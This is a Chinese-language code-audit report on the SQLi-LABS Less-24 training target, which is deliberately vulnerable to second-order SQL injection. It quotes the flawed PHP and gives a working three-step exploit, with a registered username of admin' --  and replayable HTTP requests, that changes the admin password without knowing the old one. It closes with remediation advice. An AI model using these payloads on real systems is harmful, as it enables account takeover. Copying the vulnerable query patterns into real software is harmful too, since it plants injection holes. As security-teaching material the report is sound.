sqli-labs-Less-24-代码审计报告

15次阅读
没有评论

Less-24 审计报告:二次注入(注册存储 → 改密触发)

1. 关卡概述

项目 内容
关卡名称 Less-24 Second Degree Injections(多文件关卡)
源码路径 Less-24/index.php、login.php、new_user.php、login_create.php、pass_change.php、logged-in.php、failed.php、forgot_password.php
漏洞类型 二次注入(Second-Order SQL Injection)—— 注册时把 payload 原样入库,改密页重新拼入 SQL
注入点参数 POST username/password(注册)、POST login_user/login_password(登录)、POST password(改密)
报错/盲注 报错回显(部分页面 mysql_error()),核心危害为任意用户密码篡改
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

2.1 注册页 login_create.php —— 数据入库(埋点)

// 第 25~27 行:mysql_escape_string 转义(单引号、双引号、反斜杠被转义)
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

// 第 30 行:先查重
$sql = "select count(*) from users where username='$username'";

// 第 48 行:INSERT 使用双引号包裹字段值
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

关键点:虽然用了 mysql_escape_string,但 INSERT 语句的字段值用双引号包裹。若用户名内含 '(单引号),转义后写入库的是 admin\' -- ,MySQL 在双引号字符串里把 \' 还原为 ',因此数据库中实际存储的字符串带有真正的单引号——这是二次注入的"种"。

2.2 登录页 login.php —— 把原始用户名写入 Session

// 第 20~21 行:登录参数转义
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);

// 第 22 行:SQL 查询
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

// 第 25~28 行:取到行后,返回数据库里的原始用户名
$row = mysql_fetch_row($res);
if ($row[1]) { return $row[1]; }

// 第 43 行:把原始用户名存入 Session(未再转义)
$_SESSION["username"] = $login;

2.3 改密页 pass_change.php —— 触发注入

// 第 31 行:从 Session 取用户名 —— 未做任何转义/校验
$username= $_SESSION["username"];

// 第 32~34 行:仅新密码、当前密码做了转义
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

// 第 38 行:用户名直接拼入 UPDATE(单引号包裹)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

二次注入的"引爆点":$username 来自 Session,其内容来自注册时写入库的原始字符串(含单引号),此处未转义直接拼入单引号包裹的 UPDATE。


3. 漏洞分析

  • 注入链条(二次注入):
    1. 种:注册用户名 admin' -- ,mysql_escape_string 转义为 admin\' -- ;INSERT 用双引号包裹,MySQL 解析后库里存的就是 admin' -- (含真实单引号)。
    2. 存:用该用户名登录,login.php 的查询能匹配上,$_SESSION["username"] 被赋值为库里的原始字符串 admin' -- 。
    3. 引爆:访问 pass_change.php 改密,$username 未转义拼入单引号 UPDATE:where username='admin' -- ' and password='$curr_pass'。注入的 ' 闭合了 username=',-- 把 and password='$curr_pass' 整段注释掉,于是可以在完全不知道 admin 旧密码的情况下把 admin 密码改成任意值。
  • 为何看似"转义了"却仍可利用:转义发生在存储时刻,而危险发生在另一个 SQL 语句的使用时刻;存储时转义不能保护后续所有消费该数据的 SQL(二次注入的本质)。
  • 是否回显:注册/改密页均有 mysql_error()/die() 回显,但即使无回显,二次注入的最终效果(改任意用户密码)也可用登录验证。

4. 利用方式(三步骤完整链条)

步骤一:注册一个"坏用户名"(写入 payload)

POST /Less-24/login_create.php,body:

username=admin'%20--%20&password=123&re_password=123&submit=submit

数据库中新增一行:username = admin' -- ,password = 123。

步骤二:用该账号登录(让 Session 拿到原始字符串)

POST /Less-24/login.php,body:

login_user=admin'%20--%20&login_password=123&mysubmit=Login

登录成功,SESSION 里 username = admin' -- 。

步骤三:改密页触发二次注入(把 admin 密码改为 123456)

POST /Less-24/pass_change.php,body:

current_password=1&password=123456&re_password=123456&submit=submit

服务端拼出的 SQL(实际):

UPDATE users SET PASSWORD='123456' where username='admin' -- ' and password='1'

等价于:

UPDATE users SET PASSWORD='123456' where username='admin'

预期结果:页面提示 Password successfully updated,随后用 admin/123456 即可直接登录,证明 admin 密码已被篡改。

说明:注入点在 username,而 current_password(旧密码)随意填(如 1)即可,因为 -- 已将其注释。


5. Yakit 重放数据包(完整请求序列)

请求 1 —— 注册坏用户名:

POST /sqli-labs/Less-24/login_create.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close

username=admin'%20--%20&password=123&re_password=123&submit=submit

请求 2 —— 登录(Session 建立):

POST /sqli-labs/Less-24/login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Connection: close

login_user=admin'%20--%20&login_password=123&mysubmit=Login

Yakit 中需启用 Cookie 自动跟随 / 手动带上服务端返回的 PHPSESSID。

请求 3 —— 改密触发二次注入(无需知道 admin 旧密码):

POST /sqli-labs/Less-24/pass_change.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Cookie: PHPSESSID=<上一步获得的会话ID>; Auth=1
Connection: close

current_password=1&password=123456&re_password=123456&submit=submit

请求 4 —— 验证:用 admin/123456 登录成功即代表篡改成功:

POST /sqli-labs/Less-24/login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close

login_user=admin&login_password=123456&mysubmit=Login

6. 修复建议

修复一(首选):所有 SQL 一律预处理

对注册、登录、改密三个 SQL 全部使用 PDO 预处理:

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);

// 注册
$stmt = $pdo->prepare("INSERT INTO users (username, password) VALUES (:u, :p)");
$stmt->bindValue(':u', $_POST['username']);
$stmt->bindValue(':p', password_hash($_POST['password'], PASSWORD_DEFAULT));

// 改密(用户名作为参数绑定,而不是拼串)
$stmt = $pdo->prepare("UPDATE users SET PASSWORD = :p WHERE username = :u AND password = :old");
$stmt->bindValue(':u', $_SESSION['username']);   // 参数化后,即使含引号也只是数据
$stmt->bindValue(':p', $new_hash);
$stmt->bindValue(':old', $old_hash);

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("UPDATE users SET PASSWORD = ? WHERE username = ? AND password = ?");
$stmt->bind_param('sss', $new_hash, $_SESSION['username'], $old_hash);
$stmt->execute();

修复三:针对二次注入的加固要点

  • 存储时也做语义校验:用户名限制字符集(如 /^[A-Za-z0-9_]{3,20}$/),从源头禁止 '、"、空格、-- 等进入用户名。
  • 消费时一律参数化:所有把"库里取出的字符串"拼入 SQL 的地方(尤其 Session 中的用户名)必须参数化,不能假设"库里的数据就安全"。
  • 密码存储:使用 password_hash()/password_verify(),禁止明文/可逆存储,这同时让 UPDATE 中的旧密码比对更安全。
  • 关闭报错回显:移除 die('...'.mysql_error())、display_errors=Off。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
  • 若数据库连接字符集为 GBK,还需注意宽字节风险(本关默认 latin1/utf8,主要危害是二次注入)。
正文完
 0